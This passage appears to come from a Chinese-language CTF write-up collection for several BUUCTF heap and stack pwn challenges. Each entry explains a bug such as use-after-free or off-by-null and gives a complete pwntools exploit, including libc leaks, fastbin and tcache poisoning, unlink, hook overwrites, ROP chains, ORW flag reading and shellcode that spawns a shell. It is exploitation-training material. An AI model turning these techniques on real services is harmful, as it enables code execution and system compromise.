    free(0)
    show(0)
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
    print(' libc_base -> ', hex(libc_base))

    # fast bin attack ---> malloc_hook -> one_gadget
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one_gadget = libc_base + 0xf02a4
    realloc = libc_base + libc.sym['realloc']

    add(0x60, b'a', b'b') #index 2
    add(0x60, b'a', b'b') #index 3
    free(2)
    free(3)
    free(2)
    add(0x60, p64(malloc_hook - 0x23), b'b') #index 4
    add(0x60, b'a', b'b') #index 5
    add(0x60, p64(malloc_hook - 0x23), b'b') #index 6
    payload = b'\x00'*0xb + p64(one_gadget) + p64(realloc + leak)
    add(0x60, payload, b'a') #index 7

    # pwn
    p.sendlineafter(b'choice:', b'1')
    print(' leak -> ', leak)
    p.interactive()

for i in range(1):
    try:
        '''
        sleep(1)
        p = process('./pwn')
        elf = ELF('./pwn')
        libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
        '''
        pwn(8)
    except:
        p.close()
        
        
#debug()    

0ctf2015_freenote

这道题之前做过一次,Partial RELRO 和 NO PIE 的 libc-.2.23
没有 show 功能,申请的 chunk 只能固定为 0x80,0x100,0x180 ......
漏洞点是 UAF,但是这个 UAF 只能支持 free 功能, edit 和 show 功能都用不了,堆块最小为 0x80,不支持 fast bin attack ,所以需要用到 unlink
由于申请的众堆块信息放到一个程序开始时申请的大堆块中,所以需要泄露堆块地址来 unlink
这里利用 unsorted bin 的特性来 leak heap_addr + libc_base
巧妙的是,由于存在 UAF ,还能 free ,所以泄露堆块地址和 libc_base 后,free 所有的堆块,就能构造对应的 fake chunk, 令 p64(0x110) + p64(0x90) 对应已经被 free 的原chunk 的头地址,就能通过 UAF 再次 free,实现 unlink ,之后就是常规操作了。注意为了不触发 realloc ,需要修改对应的 chunk 大小
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29311)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def show():
    p.sendlineafter(b'choice: ', b'1')
def add(size, content):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'note: ', str(size))
    p.sendafter(b'note: ', content)
def edit(index, size, content):
    p.sendlineafter(b'choice: ', b'3')
    p.sendlineafter(b'number: ', str(index))
    p.sendlineafter(b'note: ', str(size))
    p.sendafter(b'note: ', content)
def free(index):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b'number: ', str(index))

# leak heap_addr
add(0x80, b'a'*0x80) #index 0
add(0x80, b'a'*0x80) #index 1
add(0x80, b'a'*0x80) #index 2
add(0x10, b'a'*0x10) #index 3
free(0)
free(2)
add(8, b'a'*8) #index 0
show()
p.recvuntil(b'a'*8)
heap_addr = u32(p.recvuntil(b'\x0a')[:-1].ljust(4, b'\x00')) - 0x1940 + 0x30
print(' heap_addr -> ', hex(heap_addr))

# leak libc_base
add(8, b'a'*8) #index 2
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))


# unlink attack

free(0)
free(1)
free(2)
free(3)

add(0x20, p64(0) + p64(0x111) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)) #index 0
payload = b'a'*0x80 + p64(0x110) + p64(0x90) + b'a'*0x80 + p64(0) + p64(0x91) + b'a'*0x80
add(len(payload), payload) #index 1
free(2)

# atoi -> system
system = libc_base + libc.sym['system']
payload = p64(1)*2 + p64(0x8) + p64(elf.got['atoi'])
edit(0, len(payload), payload)
edit(0, 8, p64(system))

# pwn
p.sendlineafter(b'choice: ', b'/bin/sh\x00')
p.interactive()

 ciscn_2019_final_4

没开 PIE 的 libc-2.23 ,存在沙箱和反调试
反调试如下
这里要通过修改程序指令的方式跳过反调试代码
 

 

要修改 call fork 为 jmp $ + 0x9e (0x40102f - 0x400f91)
 
然后利用 010editor 搜寻对应的数据并修改
 

就能去除反调试了

没有 edit 功能,存在 UAF 漏洞。需要结合栈进行 orw,并且这里的 open 被禁用了,所以用 openat
0
程序一开始时会在栈上写入 0xFF ,我们可以利用这个布置 fake_chunk 的 size 头,方便后面进行 fast bin attack 将 chunk 申请到 栈上,然后修改 main 函数的 ret
不过,难点是 main 函数中存在无限循环,并且 exit 功能使用的是 exit 函数退出而不是 return 0 退出,所以不能通过直接修改 main 函数的 ret 来 orw,而且由于 fast bin attak size 头的限制,所以能写的空间有限,需要连续利用 gadget 控制栈来进行 rop
这里是控制了 new 函数(add 功能)的 ret ,利用错位去申请 0x38 大小的 chunk 到 new 函数的栈的末尾,去控制 ret ,然后,控制栈到 main 函数的栈中的 rop ,去读取 orw_payload ,再接着执行 orw_payload
(调试确定栈的地址值只需要断点断到 ret 即可,或输入特殊字符串利用 pwngdb 的 search 功能搜索特殊字符串来确定栈地址)
0
先通过 uaf 泄露 libc_base
需要四次 dup ,第一次利用 note_size 中的值来申请 chunk 控制 note_size 和 note ,这样就能通过 show 功能和 environ 来泄露栈的地址
第二次 dup 来控制 main 函数的栈,泄露 canary 。第三次同意控制 main 函数的栈,来布置 read_rop
第四次 dup 来控制 new 函数的栈,布置 add rsp, 0x148 到 ret 。
那么,当我们第四次 dup 后,最后 add 修改 ret 指令的时候,就会控制 rsp 到 read_rop 中执行,然后把 orw_rop 读到 read_rop 后面,当执行完 read_rop 后,就能接着执行 orw_rop 了
还有个问题。貌似在栈上申请堆块空间的时候会比较不同。
这里我是想申请 0x38 的堆块到 0x7ffe5a721da2 (红色箭头),fast bin attack 修改 fd 为什么要修改成 0x7ffe5a721da2 - 0x10 (黄色箭头)呢。
而且申请堆块成功后,为什么 fastbins 中的链表头中的值不是 0x7ffe5a721da2 + 0x10 中的值?
为什么申请堆块的时候,地址要写成
0
 
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26320)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'size?\n', str(size))
    p.sendafter(b'content?\n', content)
def free(index):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'index ?\n', str(index))
def show(index):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'index ?\n', str(index))

# set stack_fake_chunk
payload = b'stopstop' + b'a'*0xE0 + p64(0) + p64(0x81)
p.sendlineafter(b'name? \n', payload)

# leak libc_base and environ
add(0x100, b'a') #index 0
add(0x78, b'a') #index 1
add(0x78, b'a') #index 2
add(0x38, b'a') #index 3
add(0x38, b'a') #index 4
add(0x10, b'a') #index 5
add(0x81, b'a') #index 6
free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
environ = libc_base + libc.sym['__environ']

# get gadget and function
rdi = libc_base + 0x21102
rsi = libc_base + 0x202e8
rdx = libc_base + 0x1150a6
add_rsp_0x148 = libc_base + 0x353aa
openat = libc_base + libc.sym['openat']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']

# dup -> add fake_chunk -> note_size and size 
free(1)
free(2)
free(1)
note_size_6 = 0x602058 # noet_size_6 = 0x81 -> dup -> fake_chunk_addr - 8
note_ptr = 0x6020c0
add(0x78, p64(note_size_6 - 8)) #index 7
add(0x78, b'a') #index 8
add(0x78, b'\x78') #index 9
add(0x78, p32(0x68)*2 + p64(0)*11 + p64(environ)) #index 10
show(0)
stack_fake_chunk = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
print(' stack_fake_chunk -> ', hex(stack_fake_chunk))

# dup -> stack -> leak canary
free(1)
free(2)
free(1)
add(0x78, p64(stack_fake_chunk)) #index 11
add(0x78, b'a') #index 12
add(0x78, b'a') #index 13
add(0x78, b'a'*0x11) #index 14
show(14)
p.recvuntil(b'a'*0x11)
canary = u64(b'\x00' + p.recv(7))
print(' canary -> ', hex(canary))

# dup -> main_stack -> set read_rop
free(1)
free(2)
free(1)
add(0x78, p64(stack_fake_chunk)) #index 15
add(0x78, b'a') #index 16
add(0x78, b'a') #index 17
next_rop_addr = stack_fake_chunk + 0x88
payload = b'/flag\x00\x00\x00' + p64(0)*7 + p64(rdi) + p64(0) + p64(rsi) + p64(next_rop_addr) + p64(rdx) + p64(0x1000) + p64(read)
add(0x78, payload) #index 18

# dup -> new_stack -> set add_rsp_0x148 
stack_fake_chunk2 = stack_fake_chunk + 0x120 - 0x246
free(3)
free(4)
free(3)
add(0x38, p64(stack_fake_chunk2)) #index 19
add(0x38, b'a') #index 20
add(0x38, b'a') #index 21
payload = b'\x00'*0x6 + p64(canary) + p64(0) + p64(add_rsp_0x148)
add(0x38, payload) #index 22

# set orw_payload
flag_addr = stack_fake_chunk + 0x10
buf_addr = stack_fake_chunk
orw_payload = p64(rdi) + p64(0) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) + p64(openat)
orw_payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf_addr) + p64(rdx) + p64(0x50) + p64(read)
orw_payload += p64(rdi) + p64(buf_addr) + p64(puts)

# start leak flag
sleep(1)
p.send(orw_payload)
p.recv()

 roarctf_2019_easyheap

没开 PIE 的 libc-2.23 ,存在 UAF 漏洞,可以 calloc(0xa0) 和 add ,主要知识点是绕过限制进行 dup,只要令 ptr 和 buf 指向的堆块同等大小并且不为同一个堆块即可
0
其中程序开始时可以输入 name 和 info ,buf 是 add 功能的堆块指针, ptr 是 calloc 功能的堆块指针, 0x602090 是 show 功能的验证码
那么可以在 name 伪造 fake chunk 的 size 头,来控制 buf 和 0x602090 leak libc_base ,接下来再利用 dup 改写 malloc_hook
这里的 666 功能看似有限制,只能用三次,但是每次进入 666 功能都会令使用次数减一,那么为负数后就可以无限用了

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25785)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def init(name, info):
    p.sendlineafter(b'name:', name)
    p.sendlineafter(b'info:', info)
def add(size, content):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'size\n', str(size))
    p.sendafter(b'content\n', content)
def free():
    p.sendlineafter(b'>> ', b'2')
def show():
    p.sendlineafter(b'>> ', b'3')
def calloc(content):
    p.sendlineafter(b'>> ', b'666')
    p.sendlineafter(b'free?\n', b'1')
    p.sendafter(b'content\n', content)
def free_calloc():
    p.sendlineafter(b'>> ', b'666')
    p.sendlineafter(b'free?\n', b'2')

init(p64(0)*3 + p64(0x71), b'2')

calloc(b'a')
add(0x60, b'a')
free_calloc()
add(0x60, b'a')
add(0x60, b'a')

free()
free_calloc()
free()

fake_chunk = 0x602060 + 0x10
add(0x60, p64(fake_chunk))
add(0x60, b'a')
add(0x60, b'a')
payload = p64(0) + p64(elf.got['puts']) + p64(0xDEADBEEFDEADBEEF)
add(0x60, payload)

show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# dup -> malloc_hook -> system
p.sendline(str(666))
sleep(1)

# calloc(b'a')
p.sendline(str(666))
sleep(1)
p.sendline(b'1')
sleep(1)
p.sendline(b'a')
sleep(1)

#add(0x60, b'a')
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(b'a')
sleep(1)

#free_calloc()
p.sendline(b'666')
sleep(1)
p.sendline(b'2')
sleep(1)

#add(0x60, b'a')
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(b'a')
sleep(1)

#add(0x60, b'a')
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(b'a')
sleep(1)

#free()
p.sendline(b'2')
sleep(1)

#free_calloc()
p.sendline(b'666')
sleep(1)
p.sendline(b'2')
sleep(1)

#free()
p.sendline(b'2')
sleep(1)

malloc_hook = libc_base + libc.sym['__malloc_hook']
#add(0x60, p64(p64(malloc_hook - 0x23)))
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(p64(malloc_hook - 0x23))
sleep(1)

#add(0x60, b'a')
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(b'a')
sleep(1)

#add(0x60, b'a')
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
p.sendline(b'a')
sleep(1)

#add(0x60, payload)
p.sendline(b'1')
sleep(1)
p.sendline(str(0x60))
sleep(1)
one_gadget = libc_base + 0xf1147
realloc = libc_base + libc.sym['realloc']
payload = b'a'*0xb + p64(one_gadget) + p64(realloc + 0x14)
p.sendline(payload)
sleep(1)

# pwn
p.sendline(b'1')
sleep(1)
p.sendline(str(0x10))
p.sendline(b'exec 1>&0')
p.interactive()

 

 rootersctf_2019_babypwn

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25874)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

ret = 0x40101a
rdi = 0x401223
payload = b'a'*0x108 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])
p.sendafter(b'> \n', payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print('libc_base -> ', hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendafter(b'> \n', payload)
p.interactive()

 

 hctf2016_fheap

 libc2.23 ,Partial RELRO ,另外三个全开。

只有 add 和 free 功能,存放 UAF
add :0xF 以下的数据放入一个 0x20 大小堆块,堆块的 0x18 处数据写入 free 函数开启 PIE 后的地址。大于 0xF 大小的数据存放另外的堆块,0x20 堆块存放自定义大小堆块的指针,并且存放两个 free 函数开启 PIE 后的地址到堆块的 0x18 处。
free :调用 堆块的 0x18 处数据的 free 函数,rdi 指向该堆块的 user data
那么先申请两个 0x8 大小的堆块(最后程序执行结果是成为两个 0x20 大小的堆块),再都 free ,最后就能控制一个堆块的 free 函数了,将其修改为 puts 函数地址泄露程序基址。
free 函数会输入数据 yes 到栈上,这里可以利用 pop ret 指令来进行 ROP
0
那么第二次利用同样手法进行 ROP 来 leak libc_base
第三次利用同样手法 get shell
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28329)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendafter(b'quit\n', b'create ')
    p.sendlineafter(b'size:', str(size))
    p.sendafter(b'str:', content)
def free(index):
    p.sendlineafter(b'quit\n', b'delete ')
    p.sendlineafter(b'id:', str(index))
    p.sendafter(b'sure?:', b'yes')

#gdb.attach(p, 'b *$rebase(0xE93)')

# leak pro_base
add(0x8, b'a'*0x8) #index 0
add(0x8, b'a'*0x8) #index 1
free(1)
free(0)

add(0x20, b'a'*0x18 + p8(0x2d) + b'\x00') #index 0
free(1)
p.recvuntil(b'a'*0x18)
pro_base = u64(p.recv(6) + b'\x00'*2) - 0xd2d
print(' pro_base -> ', hex(pro_base))

# leak libc_base
free(0)
pop4 = pro_base + 0x11dc
rdi = pro_base + 0x11e3
ret = pro_base + 0x949

add(0x20, b'a'*0x18 + p64(pop4)) #index 0
#free(1)
p.sendlineafter(b'quit\n', b'delete ')
p.sendlineafter(b'id:', str(0x1))
payload = b'yesaaaaa' + p64(rdi) + p64(pro_base + elf.got['puts']) + p64(pro_base + elf.sym['puts']) + p64(pro_base + 0xBEE)
p.sendafter(b'sure?:', payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# pwn
free(0)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
add(0x20, b'a'*0x18 + p64(pop4)) #index 0
#free(1)
p.sendlineafter(b'quit\n', b'delete ')
p.sendlineafter(b'id:', str(0x1))
payload = b'yesaaaaa' + p64(rdi) + p64(binsh) + p64(system)
p.sendafter(b'sure?:', payload)

p.interactive()

 

 actf_2019_message

 libc-2.27 、没开 PIE 。四个功能齐全,存在 UAF ,但是 show 和 edit 功能需要 ptr 中表示堆块大小的内存不为 零,而 free 操作会将其清零
所以先用 dup + tcache bin attack 控制 ptr ,再利用 0x410 大小的 chunk free 后恢复 size 的数据,然后 show 泄露 libc_base,之后直接修改 free_hook 为 system ,比较简单的一道题
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27268)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'choice: ', b'1')
    p.sendlineafter(b'message:\n', str(size))
    p.sendafter(b'message:\n', content)
def free(index):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'delete:\n', str(index))
def edit(index, content):
    p.sendlineafter(b'choice: ', b'3')
    p.sendlineafter(b'edit:\n', str(index))
    p.sendafter(b'message:\n', content)
def show(index):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b'display:\n', str(index))

# dup -> tcache bin attack -> fake_chunk -> ptr
add(0x60, b'a') #index 0
add(0x60, b'a') #index 1
add(0x10, b'a') #index 2
free(0)
free(1)
free(0)
ptr = 0x602060
add(0x60, p64(ptr)) #index 3
add(0x60, b'a') #index 4
add(0x60, b'a') #index 5
add(0x60, p64(0)*12) #index 6

# leak libc_base
add(0x410, b'a') #index 0
add(0x10, b'/bin/sh\x00') #index 1
free(0)
edit(6, p64(0x410))
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(6, p64(8) + p64(free_hook))
edit(0, p64(system))

# pwn
free(1)
p.interactive()

 mergeheap

libc-2.27 、保护全开的堆题。存在 add 、show、free 功能。还有 merge
0
实现了堆块合并的功能,这里的 strcpy 和 strcat 都是遇到 \x00 停止复制,所以当我们申请 0xk8 大小的 chunk 并填满和利用时,可以利用 strcat 这个特性来修改下一个 chunk 的 size ,再 free 就能实现堆块合并了,然后就是 tcache bin attack 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26243)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'>>', b'1')
    p.sendlineafter(b'len:', str(size))
    p.sendlineafter(b'content:', content)
def show(index):
    p.sendlineafter(b'>>', b'2')
    p.sendlineafter(b'idx:', str(index))
def free(index):
    p.sendlineafter(b'>>', b'3')
    p.sendlineafter(b'idx:', str(index))
def merge(idx1, idx2):
    p.sendlineafter(b'>>', b'4')
    p.sendlineafter(b'idx1:', str(idx1))
    p.sendlineafter(b'idx2:', str(idx2))

# leak libc_base       
add(0x210, b'/bin/sh\x00') #index 0
add(0x210, b'a') #index 1
merge(0, 1) #index 2
add(0x10, b'a') #index 3
free(2)
add(0x8, b'a'*0x8) #index 2
show(2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1120 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

add(0x400, b'a') #index 4

# overlop chunk -> tcache bin attack -> free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x48, b'a') #index 5
add(0x20, b'a'*0x20) #index 6
add(0x28, b'a'*0x28) #index 7
add(0x50, b'a') #index 8
free(5)
merge(6, 7) #index 5
free(6)
free(7)
payload = p64(0)*5 + p64(0x31) + p64(free_hook)
add(0x50, payload) #index 6
add(0x20, b'a') #index 7
add(0x20, p64(system)) #index 8

# pwn
free(0)
p.interactive()

 easy_heap

保护全开的 libc-2.27 ,有 add . free . edit 三个功能,存在 off by null 漏洞。
add 功能会泄露 pro_base ,所以我利用 unlink 控制了 ptr 。但是 FULL RELRO 写不了 got.plt ,只能想办法写 hook。
这里要利用好 unlink 时候的合并,在构造 fake_chunk 的 ptr 的堆块和准备放入 unsortedbins 的堆块中夹一个堆块,这样,这个堆块就没有被释放,也就有了堆块重叠。后面可以利用 unsortedbins 的特性来把 fd 修改为 main_arena_xx。
由于这道题申请了一段可执行内存,所以我把 main_arena_xx 改成 free_hook 配合 tcaceh bin attack ,令 free_hook -> mmap,再往 mmap 里面写入 shellcode
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27097)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Size: ', str(size))
    p.recvuntil(b'0x')
    addr = int(p.recv(12), 16)
    return addr
def free(index):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b': ', str(index))
def edit(index, content):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b': ', str(index))
    p.sendlineafter(b': ', content)

p.recvuntil(b'0x')
mmap = int(p.recv(10), 16)
print(' mmap -> ', hex(mmap))

pro_base = add(0x410) - 0x202068 #index 0
free(0)

# unlink 
add(0x60) #index 0
add(0x68) #index 1
add(0x4f0) #index 2
add(0x10) #index 3
ptr = pro_base + 0x202060 + 0x8
payload = p64(0) + p64(0xd1) + p64(ptr - 0x18) + p64(ptr - 0x10)
edit(0, payload)
edit(1, p64(0)*12 + p64(0xd0))
free(2)

# malloc_hook -> mmap
free(1)
add(0x50) #index 1
payload = p64(0)*2 + p64(0x100) + p64(ptr - 8) + p64(0x8) + p8(0xd0)
edit(0, payload)
edit(1, p8(0x30))
add(0x60) #index 2
add(0x60) #index 4
edit(4, p64(mmap + 0x100))

#debug()
# set shellcode -> mmap
edit(0, p64(0x100) + p64(mmap + 0x100))
edit(0, asm(shellcraft.sh()))

# pwn
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size: ', str(0x10))
p.interactive()

 ciscn_2019_c_5

uaf + tcache bin attack
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25645)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def init(name, info):
    p.sendafter(b'?\n', name)
    p.sendafter(b'ID.\n', info)
def add(size, content):
    p.sendlineafter(b'choice:', b'1')
    p.sendlineafter(b':', str(size))
    p.sendafter(b':', content)
def free(index):
    p.sendlineafter(b'choice:', b'4')
    p.sendlineafter(b'index:', str(index))

# leak libc_base
init(b'1', b'1')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ec631
print(' libc_base -> ', hex(libc_base))

# dup -> tcache bin attack -> free_hook -> system
add(0x10, b'a') #index 0
add(0x10, b'a') #index 1
add(0x10, b'/bin/sh\x00') #index 2
free(0)
free(1)
free(0)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x10, p64(free_hook))
add(0x10, b'a')
add(0x10, b'a')
add(0x10, p64(system))

# pwn 
free(2)
p.interactive()

 jarvisoj_itemboard

from pwn import *
from struct import pack
